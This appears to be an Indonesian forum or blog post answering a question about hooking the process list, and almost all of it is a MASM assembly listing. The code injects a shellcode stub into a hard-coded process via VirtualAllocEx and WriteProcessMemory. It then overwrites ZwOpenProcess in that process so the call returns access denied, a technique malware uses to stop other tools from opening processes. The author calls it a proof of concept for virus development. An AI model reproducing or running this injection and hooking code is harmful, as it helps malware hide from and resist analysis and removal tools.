Pagi ini saya Post Pertanyaan dari Darkzzz…yang intinya mengenai Hook Process List….
Ok langsung aja ya….
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
.data
hProc dd 0
szNtdll db “ntdll.dll”,0
hmodNtdll dd 0
szZwOpenProcess db “ZwOpenProcess”,0
hOpenProcess dd 0
hVmEx dd 0
brw dd 0
szKernel32dll db “kernel32.dll”,0
hmodKernel32 dd 0
szSetLastError db “SetLastError”,0
hLastError dd 0
pold dd 0
.code
;; shell code
shellcode:
@@SetLastError equ $ – offset shellcode + 1
mov eax,0
push 5
call eax
xor eax,eax
retn
shell_code_size equ $ – offset shellcode
@jumper:
mov eax, 0C0000022h
retn 10h
jumper_size equ $ – offset @jumper
mati:
push 0
call ExitProcess
start:
invoke OpenProcess,PROCESS_ALL_ACCESS,0,460
test eax,eax
jnz @F
call mati
@@:
mov hProc,eax
mov esi,eax
invoke GetModuleHandle,offset szNtdll
test eax,eax
jnz @F
call mati
@@:
mov hmodNtdll,eax
invoke GetProcAddress,eax,offset szZwOpenProcess
test eax,eax
jnz @F
call mati
@@:
mov hOpenProcess,eax
invoke VirtualAllocEx,esi,0,shell_code_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE
test eax,eax
jnz @F
call mati
@@:
mov hVmEx,eax
invoke WriteProcessMemory,esi,eax,offset shellcode,shell_code_size,offset brw
invoke GetModuleHandle,offset szKernel32dll
test eax,eax
jnz @F
call mati
@@:
mov hmodKernel32,eax
invoke GetProcAddress,eax,offset szSetLastError
test eax,eax
jnz @F
call mati
@@:
mov hLastError,eax
invoke WriteProcessMemory,esi,offset shellcode + @@SetLastError,offset hLastError,4,offset brw
mov edi,hOpenProcess
invoke VirtualProtectEx,esi,edi,jumper_size,PAGE_EXECUTE_READWRITE,offset pold
invoke WriteProcessMemory,esi,edi,offset @jumper,jumper_size,offset brw
invoke VirtualProtectEx,esi,edi,jumper_size,pold,offset brw
call mati
end start
saya rasa da banyak yang tau masalah ASM kan jadi ngg Susah. N ingat ini hanya sample untuk percobaan saya..dan kalau menurut saya ini adalah Proof Of Concept untuk Pengembangan Virus